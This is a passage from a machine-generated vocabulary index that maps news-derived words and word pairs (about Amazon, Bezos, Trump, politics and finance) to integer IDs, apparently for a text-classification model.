asking": 130629, "corsi": 130630, "curious habit": 130631, "report harassers": 130632, "communities state": 130633, "tinder risky": 130634, "thinkmarkets": 130635, "economic military": 130636, "really really": 130637, "footprints 800": 130638, "capture text": 130639, "republicans saying": 130640, "793 raised": 130641, "planks despite": 130642, "built sales": 130643, "divorce secretary": 130644, "angeles flagship": 130645, "gotten ahold": 130646, "aws held": 130647, "retail managing": 130648, "milligan": 130649, "launching major": 130650, "fi team": 130651, "becker claimed": 130652, "popular democracy": 130653, "ridiculous trump": 130654, "republicans including": 130655, "pubescent": 130656, "arrested amazon": 130657, "sweden": 130658, "organisation unable": 130659, "past administration": 130660, "reporters white": 130661, "online 2018": 130662, "don mean": 130663, "amazon spying": 130664, "media just": 130665, "travelers": 130666, "sons": 130667, "powerful mother": 130668, "overtaken traditional": 130669, "lease fleet": 130670, "trump surcharge": 130671, "trump creation": 130672, "shares began": 130673, "ethnically motivated": 130674, "time candidate": 130675, "earlier expressed": 130676, "vertical deal": 130677, "ocala danger": 130678, "administration deleteuber": 130679, "named neighborhood": 130680, "era mcbride": 130681, "bezos offered": 130682, "fear desperation": 130683, "green coat": 130684, "regulate tech": 130685, "hours later": 130686, "job description": 130687, "suspected": 130688, "2018 contest": 130689, "paying taxes": 130690, "forte speculates": 130691, "taken step": 130692, "acquire provider": 130693, "represents brick": 130694, "w0 d4": 130695, "extras": 130696, "facilitating counterfeit": 130697, "melania": 130698, "love seeing": 130699, "fight new": 130700, "people ferrari": 130701, "inflation according": 130702, "anchorage overland": 130703, "usually bit": 130704, "seeva technologies": 130705, "deflationary": 130706, "amazon post": 130707, "talk new": 130708, "sentiment lifted": 130709, "times executive": 130710, "face image": 130711, "blueberry": 130712, "meandering": 130713, "digital worlds": 130714, "told host": 130715, "portfolio sfe": 130716, "1237872": 130717, "totals": 130718, "fact crazy": 130719, "stimulating economic": 130720, "audacious decision": 130721, "court judges": 130722, "nappi": 130723, "clean": 130724, "bruising conflict": 130725, "ben stoto": 130726, "mijente brought": 130727, "jeffrey kvaal": 130728, "solution comprehensive": 130729, "billionaire bernard": 130730, "2018 toys": 130731, "government announced": 130732, "misaligned": 130733, "america business": 130734, "effectively confirming": 130735, "concerns relating": 130736, "great need": 130737, "plan goal": 130738, "physical online": 130739, "amazon logos": 130740, "post hillary": 130741, "paper proposes": 130742, "board vice": 130743, "hinnant": 130744, "previous quarter": 130745, "value": 130746, "parkland fla": 130747, "gaslight": 130748, "khashoggi wapo": 130749, "inappropriately high": 130750, "angrily": 130751, "humphrey": 130752, "894": 130753, "rural massachusetts": 130754, "week ahead": 130755, "half sister": 130756, "delayed bezos": 130757, "graham family": 130758, "novel american": 130759, "khosrowshahi amazon": 130760, "sell tickets": 130761, "bigoted outrages": 130762, "potentially turning": 130763, "content policies": 130764, "camera rescheduled": 130765, "subcommittee meng": 130766, "peter chernin": 130767, "host slew": 130768, "war": 130769, "muilenburg": 130770, "turkish relations": 130771, "shine": 130772, "approval ratings": 130773, "pic unless": 130774, "mueller subpoenaed": 130775, "pharr": 130776, "suit claims": 130777, "pharmaceutical special": 130778, "income survey": 130779, "future contracts": 130780, "biggest international": 130781, "customer anthony": 130782, "following reviews": 130783, "nation conference": 130784, "congress corporations": 130785, "dorothy lynchian": 130786, "muckrock cincinnati": 130787, "authorities look": 130788, "credit services": 130789, "nifty map": 130790, "rule": 130791, "consistently used": 130792, "bezos whisked": 130793, "purchase 000": 130794, "huge loss": 130795, "partner wanting": 130796, "fromnew jersey": 130797, "keynote speech": 130798, "references ami": 130799, "enemies history": 130800, "amazon pummelled": 130801, "recorded conversation": 130802, "group cidg": 130803, "inside mountain": 130804, "industry conference": 130805, "regulatory costs": 130806, "merger did": 130807, "liuna": 130808, "beth citrin": 130809, "splc cca": 130810, "released troubling": 130811, "meet owner": 130812, "deeper amazonhttps": 130813, "vince mcmahon": 130814, "halliburton owe": 130815, "based mortgage": 130816, "calling trump": 130817, "jim stavridis": 130818, "repackaging": 130819, "trafigura": 130820, "attacks comments": 130821, "face stricter": 130822, "similarly situated": 130823, "stoped using": 130824, "awards highlights": 130825, "price offered": 130826, "divcon leaders": 130827, "planet heats": 130828, "blamed president": 130829, "pre ordered": 130830, "season premiered": 130831, "total payment": 130832, "angelina jolie": 130833, "point donny": 130834, "limited": 130835, "bourguignon matt": 130836, "secretly ramps": 130837, "unsecured loan": 130838, "collusion payments": 130839, "american landowners": 130840, "reviews amazon": 130841, "tech trade": 130842, "animated version": 130843, "wages hit": 130844, "quickly": 130845, "gut check": 130846, "seasonal work": 130847, "topics studied": 130848, "offerman": 130849, "feminist radical": 130850, "h8 a4ee": 130851, "honed discerning": 130852, "cope": 130853, "thornton talks": 130854, "curiam alterations": 130855, "establishment stores": 130856, "took steps": 130857, "neil hughes": 130858, "minister ernesto": 130859, "nonfiction": 130860, "107": 130861, "involve humanity": 130862, "trump country": 130863, "heaping piles": 130864, "site crashes": 130865, "alcoholic beverage": 130866, "entrants": 130867, "investor conference": 130868, "crony lobbyists": 130869, "publisher dershowitz": 130870, "really improved": 130871, "economic trajectory": 130872, "farmers debbie": 130873, "change met": 130874, "3adcwtfl0k john": 130875, "analyst associate": 130876, "detroit shipping": 130877, "parkland student": 130878, "join jake": 130879, "mixed reviews": 130880, "stated": 130881, "global commerce": 130882, "isn paying": 130883, "continuing conflict": 130884, "reuters 2ftopnews": 130885, "amazon chevron": 130886, "controlled safe": 130887, "response teams": 130888, "groups crowded": 130889, "police employee": 130890, "wildly": 130891, "media figures": 130892, "fall flat": 130893, "basin": 130894, "store office": 130895, "design thinking": 130896, "book posits": 130897, "confrontational hardline": 130898, "economic pressure": 130899, "bulls today": 130900, "2014 amazon": 130901, "impede professional": 130902, "fall far": 130903, "marine krasinski": 130904, "arc": 130905, "city suburb": 130906, "showed admiration": 130907, "meantime european": 130908, "unlawful": 130909, "ford shares": 130910, "bloomberg quoted": 130911, "behemoth": 130912, "89x": 130913, "beloved country": 130914, "redistricting": 130915, "alarming possibility": 130916, "ambassadors people": 130917, "california home": 130918, "kingdom issue": 130919, "extend clemency": 130920, "scrape em": 130921, "latest set": 130922, "weather blog": 130923, "immigrant named": 130924, "financial trade": 130925, "network routers": 130926, "scripts note": 130927, "commerce marketing": 130928, "cheney stock": 130929, "scorched": 130930, "point received": 130931, "commissioner": 130932, "rosenstein snot": 130933, "uh huh": 130934, "marketplaces accountable": 130935, "cchurchill timesunion": 130936, "based burger": 130937, "trump doubts": 130938, "transylvania summer": 130939, "attempted blockage": 130940, "generating bulk": 130941, "aluminum producers": 130942, "eurozone banks": 130943, "encourage extremism": 130944, "point lifeboat": 130945, "iberian spanish": 130946, "added fuel": 130947, "yorker festival": 130948, "announcing brand": 130949, "memphis based": 130950, "press source": 130951, "sector just": 130952, "exception possibly": 130953, "restore acosta": 130954, "communications regulator": 130955, "privately investigating": 130956, "geeks": 130957, "reported average": 130958, "occ refused": 130959, "itep senior": 130960, "nation leading": 130961, "college party": 130962, "wealthier": 130963, "president businesses": 130964, "unique compromised": 130965, "questionable tax": 130966, "share uber": 130967, "2019 q2": 130968, "evrnu showed": 130969, "time writes": 130970, "personally lobbying": 130971, "digital spyjust": 130972, "anachronistic": 130973, "flier": 130974, "fdx free": 130975, "sanchez american": 130976, "man mcdougal": 130977, "billionaire founders": 130978, "mail including": 130979, "state abuses": 130980, "dose": 130981, "hardware": 130982, "increasingly central": 130983, "findings appear": 130984, "house launch": 130985, "pre buy": 130986, "quarter aws": 130987, "issues policies": 130988, "wishes": 130989, "causes constant": 130990, "discussed taking": 130991, "women filmmakers": 130992, "competing unfairly": 130993, "hotstar premium": 130994, "regina hall": 130995, "sociological trends": 130996, "administration antitrust": 130997, "special effects": 130998, "publicised": 130999, "charitable endeavor": 131000, "extremely proud": 131001, "heard republicans": 131002, "criticized publicly": 131003, "pete spent": 131004, "magazines": 131005, "attempted murder": 131006, "companies permission": 131007, "people aware": 131008, "jurassic press": 131009, "tv manchester": 131010, "daniel tiger": 131011, "hayes contributed": 131012, "gamed set": 131013, "rates say": 131014, "hayek backed": 131015, "reporters later": 131016, "tax loss": 131017, "rofl": 131018, "socks design": 131019, "rejoined": 131020, "face tremendous": 131021, "journalist revealed": 131022, "yearly": 131023, "sbirt expansion": 131024, "calling amazon": 131025, "israeli state": 131026, "achieve 2tn": 131027, "extended periods": 131028, "ambiguous position": 131029, "demarcated": 131030, "jersey gfm": 131031, "kiro": 131032, "scores credit": 131033, "amazon father": 131034, "kasie dc": 131035, "amazon investigators": 131036, "president criticizing": 131037, "lanariaamberkira blogspot": 131038, "hurts poorer": 131039, "bldg empirestatebldg": 131040, "establish task": 131041, "minimum wages": 131042, "arguable": 131043, "assisting government": 131044, "sandman": 131045, "skirt sales": 131046, "bannon according": 131047, "bloomberg jeff": 131048, "fruition": 131049, "ago wapo": 131050, "formed task": 131051, "shannon john": 131052, "twelfe": 131053, "solyndra took": 131054, "list josh": 131055, "pete right": 131056, "commercial shipping": 131057, "2000 index": 131058, "internet success": 131059, "protections weren": 131060, "lesar chairman": 131061, "shakespeare": 131062, "betrayed": 131063, "wang geekwire": 131064, "parents charged": 131065, "brazil commodities": 131066, "indicates products": 131067, "thistime crosstalk": 131068, "purchased fake": 131069, "trade showdown": 131070, "believe large": 131071, "insider stoppelman": 131072, "commerce lead": 131073, "washington hopes": 131074, "costs usps": 131075, "follows characters": 131076, "rebutted": 131077, "khosrowshahi reportedly": 131078, "firm asked": 131079, "future based": 131080, "i09 maga": 131081, "improve profitability": 131082, "help teachers": 131083, "ip trade": 131084, "b5q 121": 131085, "uncovering": 131086, "operations facing": 131087, "netted 262": 131088, "terribly sad": 131089, "reed mayor": 131090, "forced thousands": 131091, "comment service": 131092, "donning bald": 131093, "deal retailers": 131094, "crisis story": 131095, "easy sweet": 131096, "republicans just": 131097, "busing teachers": 131098, "electorate getting": 131099, "luminaries look": 131100, "politics": 131101, "misunderstood facebook": 131102, "china ma": 131103, "chief gavin": 131104, "typical headline": 131105, "economy capricious": 131106, "focused president": 131107, "phillip cnn": 131108, "devices listening": 131109, "return c0": 131110, "blame andrea": 131111, "news senior": 131112, "past coalition": 131113, "debate house": 131114, "m0": 131115, "drug benefit": 131116, "justin danhof": 131117, "triborough": 131118, "rockaway housing": 131119, "bank president": 131120, "fantasy novel": 131121, "guiding principles": 131122, "increases antitrust": 131123, "liberal politicians": 131124, "gamingnews pubg": 131125, "rubicon named": 131126, "fascinating components": 131127, "disgraces": 131128, "rosenstein discussed": 131129, "shopping 2018": 131130, "government employees": 131131, "political response": 131132, "hanks celebrated": 131133, "colony": 131134, "climate gianaris": 131135, "real_estate": 131136, "day coverage": 131137, "talking": 131138, "matter stated": 131139, "stacy flynn": 131140, "immigration corporate": 131141, "possible exclusionary": 131142, "candidacies": 131143, "initial findings": 131144, "day congress": 131145, "drones snopes": 131146, "carrying passengers": 131147, "howard megdal": 131148, "dividend yields": 131149, "iphones 2018": 131150, "bovine blood": 131151, "emergency powers": 131152, "pension funds": 131153, "ami website": 131154, "amazon battle": 131155, "bloomberg read": 131156, "768 768w": 131157, "recession 2018": 131158, "yesterday james": 131159, "wince leaving": 131160, "thereof": 131161, "cabinet note": 131162, "unplug": 131163, "weaponising journalistic": 131164, "adding position": 131165, "suicide": 131166, "afforded protections": 131167, "diana": 131168, "1091395001987194880": 131169, "mass suicides": 131170, "started thinking": 131171, "motivated hit": 131172, "private investment": 131173, "told pj": 131174, "war machine": 131175, "amazon acquiring": 131176, "philidelphia stood": 131177, "imazon shows": 131178, "service right": 131179, "republican coalition": 131180, "usually unresponsive": 131181, "spike lee": 131182, "amazon hunt": 131183, "sabby phillip": 131184, "translator referring": 131185, "deforestation schmitt": 131186, "fort drum": 131187, "help pay": 131188, "robert frank": 131189, "wealthy outspoken": 131190, "agreement appears": 131191, "profitthe": 131192, "imports": 131193, "council politico": 131194, "oliverdarcy": 131195, "explainer contact": 131196, "abuse isn": 131197, "seattle jeff": 131198, "recently described": 131199, "story published": 131200, "called amazon": 131201, "hots": 131202, "shoulder gym": 131203, "won treat": 131204, "recommends beatriz": 131205, "employs directly": 131206, "safe legal": 131207, "ballooned": 131208, "platform monopoly": 131209, "multi channel": 131210, "armed civilian": 131211, "reimagining": 131212, "mccarthyism realdonaldtrump": 131213, "2017steve": 131214, "somewhat similar": 131215, "freedom related": 131216, "salty": 131217, "exact value": 131218, "relative expedience": 131219, "scenes intervention": 131220, "house anti": 131221, "forge laurence": 131222, "weapons program": 131223, "mexico leftist": 131224, "questionable seemingly": 131225, "organizations budhraja": 131226, "awoo umu": 131227, "american woman": 131228, "amazon created": 131229, "opinion offers": 131230, "hurt companies": 131231, "welcomes support": 131232, "mixture": 131233, "gwyneth paltrow": 131234, "paulmanafort russia": 131235, "eventually disbar": 131236, "smashed wall": 131237, "bad": 131238, "mothballed congress": 131239, "michael antonio": 131240, "raising alarm": 131241, "dominated index": 131242, "charity glide": 131243, "believes kavanaugh": 131244, "treasonpuddles": 131245, "bank analyst": 131246, "firms amazon": 131247, "straight record": 131248, "cynthia chen": 131249, "high double": 131250, "force head": 131251, "unwilling": 131252, "ferocious antagonist": 131253, "greenwald": 131254, "daf5yvweds pic": 131255, "financing brian": 131256, "tax assets": 131257, "tousle": 131258, "vuelta espana": 131259, "richard armitage": 131260, "undeniable companies": 131261, "guy source": 131262, "certificates": 131263, "evidence 2018": 131264, "trek bezos": 131265, "emotionally": 131266, "750 share": 131267, "election cheryl": 131268, "mommy response": 131269, "coffee provided": 131270, "literally named": 131271, "american cemetery": 131272, "stop amazon": 131273, "stewing herbs": 131274, "park people": 131275, "alphabet facebook": 131276, "religious discrimination": 131277, "morning google": 131278, "riccio": 131279, "news lot": 131280, "1993": 131281, "screeching": 131282, "fred trump": 131283, "memorable characters": 131284, "meat": 131285, "tags adobe": 131286, "sight amazon": 131287, "fran spielman": 131288, "publisher kept": 131289, "ingels klein": 131290, "companies vacuum": 131291, "bass parent": 131292, "roasted": 131293, "rural districts": 131294, "advisors": 131295, "sabzi pastel": 131296, "global hedge": 131297, "nominated": 131298, "acosta refuses": 131299, "billion sergey": 131300, "business commerce": 131301, "phone app": 131302, "opapp": 131303, "supermarket chain": 131304, "deliver powerful": 131305, "bezos needs": 131306, "vote text": 131307, "schuster joined": 131308, "orkers": 131309, "swooped": 131310, "castro": 131311, "rakers": 131312, "alcohol learn": 131313, "right noises": 131314, "delivered rolled": 131315, "customers significantly": 131316, "demanding subsidies": 131317, "comparable": 131318, "bidders": 131319, "fair eric": 131320, "trump personally": 131321, "public officials": 131322, "know definitively": 131323, "reuters advisory": 131324, "insurance corporation": 131325, "multiple revealing": 131326, "configobj thumb": 131327, "matching high": 131328, "largest convenience": 131329, "badly misspoke": 131330, "export": 131331, "restaurant chanting": 131332, "oil services": 131333, "human people": 131334, "parcels including": 131335, "isn raising": 131336, "largest shareholders": 131337, "housing cramer": 131338, "quantified charter": 131339, "seeking money": 131340, "person sales": 131341, "new cio": 131342, "greenberg": 131343, "mayor rahm": 131344, "whitesell donald": 131345, "dems mtp": 131346, "quarter": 131347, "863 million": 131348, "buy chukumba": 131349, "texas wrote": 131350, "punctuation": 131351, "viable option": 131352, "comments armed": 131353, "unwanted text": 131354, "accumulated 234": 131355, "amazon shed": 131356, "adding prominent": 131357, "devout": 131358, "bonuses benefits": 131359, "driven economy": 131360, "buffett belief": 131361, "propaganda norman": 131362, "going public": 131363, "drew magary": 131364, "census bureau": 131365, "claim refuted": 131366, "new mood": 131367, "incidents": 131368, "program read": 131369, "executive wrote": 131370, "favorite handheld": 131371, "sexy customer": 131372, "promotional tour": 131373, "urgent concerns": 131374, "myrie": 131375, "libby vincek": 131376, "old companies": 131377, "commission outperformance": 131378, "biggest beneficiary": 131379, "nineteen eighty": 131380, "ship adding": 131381, "abuse prohibit": 131382, "power pass": 131383, "surprisingly hunting": 131384, "donnelly served": 131385, "political interference": 131386, "hoover institution": 131387, "pressure doesn": 131388, "celebrity coming": 131389, "held 622": 131390, "germany joined": 131391, "williams leg": 131392, "gone thanks": 131393, "affect stock": 131394, "gadsby netflix": 131395, "unknown asked": 131396, "bargaining": 131397, "retrieve disenfranchised": 131398, "super group": 131399, "fortune": 131400, "coffee mugs": 131401, "revelatory tidbits": 131402, "operate delivery": 131403, "scented scratch": 131404, "house unsafe": 131405, "online search": 131406, "just letters": 131407, "insensitive": 131408, "origin try": 131409, "video australia": 131410, "compulsory licensing": 131411, "700 shares": 131412, "harsh deportations": 131413, "rethink money": 131414, "suspended accounts": 131415, "bakr": 131416, "intensifying action": 131417, "lethem ecco": 131418, "poll released": 131419, "1200x411": 131420, "cummings discuss": 131421, "childhood education": 131422, "believed accurate": 131423, "1990 novel": 131424, "new relocation": 131425, "sacrificing margins": 131426, "nickname foreclosure": 131427, "quests": 131428, "lobbying campaign": 131429, "post continuing": 131430, "virginia exempts": 131431, "book paul": 131432, "roughly 300": 131433, "investors bidding": 131434, "left france": 131435, "recently people": 131436, "bozo lol": 131437, "hasn commented": 131438, "week heard": 131439, "unprecedented problems": 131440, "dystopian": 131441, "fully laps": 131442, "simon says": 131443, "walmart released": 131444, "useful forum": 131445, "time adding": 131446, "enquirer claims": 131447, "years complaining": 131448, "says thomson": 131449, "kjgvlgygyk": 131450, "behaviors": 131451, "nawazuddin": 131452, "subsidization": 131453, "chapter dedicated": 131454, "mutated": 131455, "rebuild america": 131456, "highway": 131457, "behavior leading": 131458, "create program": 131459, "make revenge": 131460, "stumping": 131461, "manufacturing partner": 131462, "center shooting": 131463, "accusations obama": 131464, "commerce image": 131465, "actor terry": 131466, "evangelicals rex": 131467, "robert herguth": 131468, "misses adjusted": 131469, "past accusing": 131470, "politics follow": 131471, "supposed religious": 131472, "sale according": 131473, "earlier criticized": 131474, "provide diapers": 131475, "reeves": 131476, "inaccessible": 131477, "lagos": 131478, "birds": 131479, "naval fighter": 131480, "chicken": 131481, "kevin muir": 131482, "little beat": 131483, "multiple investigations": 131484, "scenes book": 131485, "amy cony": 131486, "year warren": 131487, "error": 131488, "following widespread": 131489, "news quickly": 131490, "time sheets": 131491, "f4a": 131492, "hazards power": 131493, "hundreds gather": 131494, "collectible created": 131495, "passes bills": 131496, "administration canceled": 131497, "ethanol plan": 131498, "269 bought": 131499, "news including": 131500, "gm": 131501, "slavered": 131502, "infuriating brilliant": 131503, "inconsistent": 131504, "stated gavin": 131505, "usually attendant": 131506, "554 000": 131507, "staff john": 131508, "140billion fortune": 131509, "bestseller having": 131510, "trumpstore did": 131511, "discriminatory policing": 131512, "knmmx7byqm": 131513, "late rev": 131514, "way ticket": 131515, "net susan": 131516, "ahead protect": 131517, "don tknow": 131518, "reported remarks": 131519, "commercial clients": 131520, "board really": 131521, "attend required": 131522, "help make": 131523, "house kessler": 131524, "corrupt anti": 131525, "housed": 131526, "star kristin": 131527, "fiery populist": 131528, "newfield deal": 131529, "washingtonfounder chairman": 131530, "burglary operation": 131531, "political earthquake": 131532, "large revenue": 131533, "stephon": 131534, "local sightings": 131535, "overall believe": 131536, "meaningful": 131537, "trump cummings": 131538, "alien": 131539, "carrier spends": 131540, "assad donald": 131541, "possible slap": 131542, "day personal": 131543, "revealed amazon": 131544, "tangle": 131545, "amazon tend": 131546, "says hard": 131547, "accessible": 131548, "cooked meals": 131549, "muttering maybe": 131550, "previous attacks": 131551, "contribute ideas": 131552, "grant achatz": 131553, "games amazon": 131554, "term head": 131555, "indexhas gained": 131556, "aapl aapl": 131557, "attr data": 131558, "competition outside": 131559, "states ally": 131560, "brennan resisted": 131561, "year best": 131562, "time ahead": 131563, "great care": 131564, "healy article": 131565, "cut severance": 131566, "clicksource": 131567, "cathy erway": 131568, "trump ripped": 131569, "cutting benefits": 131570, "leak explicit": 131571, "reiterates outlook": 131572, "privacy campaigners": 131573, "net hoarci": 131574, "key factor": 131575, "power charter": 131576, "turning commerce": 131577, "luckin strategy": 131578, "wounds deeply": 131579, "offers suite": 131580, "medium makes": 131581, "2nd edition": 131582, "early": 131583, "buy right": 131584, "stood": 131585, "dixon": 131586, "clinton 2016": 131587, "chevrolet": 131588, "republican congressional": 131589, "day frameworks": 131590, "browsers": 131591, "michael davis": 131592, "unstoppable behemoth": 131593, "questions linger": 131594, "mike dorning": 131595, "750": 131596, "signature bulbous": 131597, "newspaper personally": 131598, "bezos source": 131599, "impact putting": 131600, "amazon early": 131601, "fear joins": 131602, "alec baldwin": 131603, "loans gains": 131604, "investigate accusations": 131605, "establish headquarters": 131606, "pretty good": 131607, "famu": 131608, "building famed": 131609, "future constituents": 131610, "sec charge": 131611, "glossy teen": 131612, "amazon does": 131613, "duncan": 131614, "interference trump": 131615, "monica airport": 131616, "new housing": 131617, "g0 j8i": 131618, "tissue cell": 131619, "russian meddling": 131620, "interview tax": 131621, "ceo lisa": 131622, "actually mention": 131623, "various fronts": 131624, "islands suffered": 131625, "meaningful moment": 131626, "mentions ami": 131627, "dodging tax": 131628, "paying capital": 131629, "jolts report": 131630, "million vanity": 131631, "liang": 131632, "helping offset": 131633, "falls times": 131634, "iot autonomous": 131635, "amazon fiction": 131636, "starbucks nasdaq": 131637, "limited teasers": 131638, "jarrett book": 131639, "profits trump": 131640, "scoring option": 131641, "class developer": 131642, "fundamental problem": 131643, "2019 acceptable": 131644, "img_bucketref img_tile_override_imageref": 131645, "industry cooperation": 131646, "rated newsletter": 131647, "campaign ad": 131648, "data leaks": 131649, "city news": 131650, "44ec a266": 131651, "2019 magic": 131652, "remarks prior": 131653, "area banks": 131654, "live sports": 131655, "shannon eduardo": 131656, "distribution center": 131657, "run cat": 131658, "blasted new": 131659, "sabby": 131660, "joined members": 131661, "current affordable": 131662, "incurring": 131663, "inter": 131664, "quarter reporting": 131665, "times list": 131666, "better quicker": 131667, "socially insensitive": 131668, "credit suisse": 131669, "worth exploring": 131670, "bozo earlier": 131671, "history bezos": 131672, "pursue structural": 131673, "brian sommer": 131674, "representatives denied": 131675, "democrat claire": 131676, "appropriate halloween": 131677, "telemedicine portion": 131678, "discounted rates": 131679, "sell particular": 131680, "preview today": 131681, "clearly heightened": 131682, "adding salt": 131683, "capture artificial": 131684, "swamp source": 131685, "shutting stores": 131686, "sollicitatie": 131687, "null custom_article_footer": 131688, "property tax": 131689, "possible tomorrows": 131690, "divestiture": 131691, "state view": 131692, "damian butts": 131693, "advisor gavin": 131694, "challenged judicial": 131695, "notably avoided": 131696, "scorsese directed": 131697, "late yahoo": 131698, "services partners": 131699, "current price": 131700, "nervous right": 131701, "currentvideocollectionid isliveplayer": 131702, "amazon drawn": 131703, "vote zuker": 131704, "bezos fight": 131705, "terrible condition": 131706, "allegations senate": 131707, "disease control": 131708, "trump genitalia": 131709, "based prices": 131710, "seahawks": 131711, "ron lee": 131712, "devastating change": 131713, "163": 131714, "countries accountable": 131715, "model forte": 131716, "uk india": 131717, "warren actually": 131718, "state proposal": 131719, "benefited enormously": 131720, "popular movies": 131721, "different versions": 131722, "employment created": 131723, "order products": 131724, "unanswered including": 131725, "ulrich mayoral": 131726, "stephenson fired": 131727, "fdic mnuchin": 131728, "hug": 131729, "downplaying united": 131730, "surprising development": 131731, "enforce": 131732, "regulatory change": 131733, "videla": 131734, "companies ironically": 131735, "tariffs altogether": 131736, "corporatist": 131737, "aspire": 131738, "charlotte trump": 131739, "moral imperative": 131740, "tr schx": 131741, "100 implying": 131742, "skilled earlier": 131743, "threatened measures": 131744, "campaigns declined": 131745, "blocks away": 131746, "diana ross": 131747, "american culture": 131748, "country controversies": 131749, "wait rating": 131750, "companies weren": 131751, "cowl": 131752, "offering exclusive": 131753, "acute homelessness": 131754, "extraordinary circumstances": 131755, "helps microsoft": 131756, "upstate 24th": 131757, "pledge isnt": 131758, "app customers": 131759, "administration essentially": 131760, "washington jeff": 131761, "incidents london": 131762, "prize winning": 131763, "ad wastes": 131764, "corp tgt": 131765, "market watchers": 131766, "running water": 131767, "media radar": 131768, "counterfeits amazon": 131769, "upcoming quarter": 131770, "macroeconomic statistics": 131771, "defendant trump": 131772, "700 video": 131773, "current owner": 131774, "hank": 131775, "cover attributable": 131776, "amazon progressives": 131777, "origins": 131778, "congressional switchboard": 131779, "hikes despite": 131780, "provided evidence": 131781, "worker paychecks": 131782, "evan bayh": 131783, "coordinated staff": 131784, "roku shares": 131785, "glory music": 131786, "accidentally grazed": 131787, "necktie": 131788, "generous bargain": 131789, "nature soon": 131790, "omitted": 131791, "holiday celebrated": 131792, "headlines sept": 131793, "reminding pet": 131794, "henhawk": 131795, "ariz": 131796, "entirely legitimate": 131797, "helpful factsheets": 131798, "nvidia stock": 131799, "keri": 131800, "site crash": 131801, "mitch mcconnell": 131802, "charging cable": 131803, "second best": 131804, "help women": 131805, "enhanced suite": 131806, "trump movement": 131807, "elicited": 131808, "mohawk": 131809, "articles": 131810, "new agency": 131811, "potential voters": 131812, "predispositions predilections": 131813, "despite lengthy": 131814, "best things": 131815, "reporting record": 131816, "osm": 131817, "opinion normal": 131818, "retail legend": 131819, "major conference": 131820, "dems investigation": 131821, "stakeholders": 131822, "evil patrick": 131823, "projects building": 131824, "technologically vulnerable": 131825, "riveting true": 131826, "tax situation": 131827, "arrange hush": 131828, "term make": 131829, "competitive results": 131830, "services provider": 131831, "cheering crowds": 131832, "dentsu aegis": 131833, "het complete": 131834, "reporting motivations": 131835, "soundbite border": 131836, "necessarily change": 131837, "generated billions": 131838, "swat": 131839, "new developer": 131840, "sound competition": 131841, "deliver food": 131842, "won reverse": 131843, "roi": 131844, "forbesbooks": 131845, "wife mac": 131846, "shelter hundreds": 131847, "associates": 131848, "office effectively": 131849, "tale williams": 131850, "savanna greatly": 131851, "saudi people": 131852, "uk insurance": 131853, "returning democrats": 131854, "different designs": 131855, "sooter lost": 131856, "given sweetheart": 131857, "left sits": 131858, "alternative amazon": 131859, "big upgrade": 131860, "cleavage": 131861, "dylan dhoward": 131862, "months resulting": 131863, "pinky swear": 131864, "mccabe opened": 131865, "christmas stories": 131866, "exciting new": 131867, "daniel worth": 131868, "articles fairly": 131869, "twitter jeff": 131870, "restrictions places": 131871, "employee makes": 131872, "brokers payment": 131873, "service calls": 131874, "northeast queens": 131875, "survive global": 131876, "anti competitive": 131877, "criticisms possibly": 131878, "troublesome debt": 131879, "giving platform": 131880, "medium new": 131881, "charles heir": 131882, "nasa": 131883, "130 people": 131884, "florida elections": 131885, "potentially including": 131886, "congress according": 131887, "esi edugyan": 131888, "taxes nyt": 131889, "democrat schumer": 131890, "065": 131891, "merchandise using": 131892, "region later": 131893, "group fell": 131894, "volvo": 131895, "100 amzn": 131896, "taxes think": 131897, "endurance wealth": 131898, "z8 u0": 131899, "giving customers": 131900, "quietly entered": 131901, "g7a f7a": 131902, "alibaba affiliate": 131903, "notable competitors": 131904, "governor marks": 131905, "epic deal": 131906, "news dylan": 131907, "soaked burned": 131908, "integrator xenit": 131909, "gizmodo reports": 131910, "actually work": 131911, "weren capable": 131912, "management event": 131913, "checker aims": 131914, "funding rick": 131915, "berkshire decision": 131916, "albright": 131917, "investigationsinto": 131918, "asking company": 131919, "build 600": 131920, "semi equipment": 131921, "afford today": 131922, "democrat congresswoman": 131923, "government market": 131924, "records immigration": 131925, "frenzy": 131926, "mayor john": 131927, "beast sources": 131928, "probably argue": 131929, "harm univision": 131930, "shipping software": 131931, "yorkers including": 131932, "contact licensing": 131933, "apple stake": 131934, "corporate executives": 131935, "publisher paid": 131936, "competitor estimate": 131937, "nostalgic inspiration": 131938, "world population": 131939, "agents linked": 131940, "richest company": 131941, "ec": 131942, "trimmer": 131943, "2017 op": 131944, "washington way": 131945, "consumer market": 131946, "possible tax": 131947, "amazon razor": 131948, "airport tarmac": 131949, "high home": 131950, "upheaval republican": 131951, "guest rude": 131952, "lacked imagination": 131953, "huge number": 131954, "big ones": 131955, "agile manifesto": 131956, "carrier diversification": 131957, "matter trump": 131958, "baseless charges": 131959, "using current": 131960, "flowing": 131961, "jane fox": 131962, "spreadsheet": 131963, "classics": 131964, "old glory": 131965, "moser": 131966, "dignifying": 131967, "lead jeff": 131968, "tabs": 131969, "gives hint": 131970, "orioles fans": 131971, "guys think": 131972, "committees amazon": 131973, "aly raisman": 131974, "american administration": 131975, "gasol taps": 131976, "squads created": 131977, "trump incredibly": 131978, "reportedly flipping": 131979, "1271 bought": 131980, "fix facetime": 131981, "flight mode": 131982, "brad": 131983, "warren rep": 131984, "pho": 131985, "amazon 352": 131986, "kinda crazy": 131987, "terrible working": 131988, "administration appear": 131989, "seated antipathy": 131990, "offers subscribers": 131991, "ross minding": 131992, "chairman told": 131993, "barbs": 131994, "fallen prey": 131995, "need": 131996, "state regulations": 131997, "brian huseman": 131998, "adviser boris": 131999, "deserts": 132000, "canada": 132001, "businesses operated": 132002, "wider customer": 132003, "000 permanent": 132004, "sale simon": 132005, "cloth excessive": 132006, "seconds jeff": 132007, "saudis 2018": 132008, "source medium": 132009, "laws remain": 132010, "powerfully": 132011, "alarming": 132012, "karen deyoung": 132013, "origin jack": 132014, "letter delivery": 132015, "idea griffeth": 132016, "holds": 132017, "progressive activists": 132018, "protect ebay": 132019, "really exonerated": 132020, "mc": 132021, "plans senate": 132022, "250m": 132023, "party developers": 132024, "goodbye funeral": 132025, "seabreeze partners": 132026, "nation wounds": 132027, "marketing cork": 132028, "deaths fentanyl": 132029, "game amazon": 132030, "worrying inward": 132031, "progressive raising": 132032, "launches investigation": 132033, "summit oscars": 132034, "technology 418987": 132035, "nationalvoterregistrationday": 132036, "competitive theirgrudging": 132037, "people shopping": 132038, "won elections": 132039, "know did": 132040, "hackers millions": 132041, "royalsdevilmagic kcdevilmagic": 132042, "wilson ceo": 132043, "alternative assets": 132044, "stahl": 132045, "foods 2018": 132046, "rap": 132047, "lemonade": 132048, "waning new": 132049, 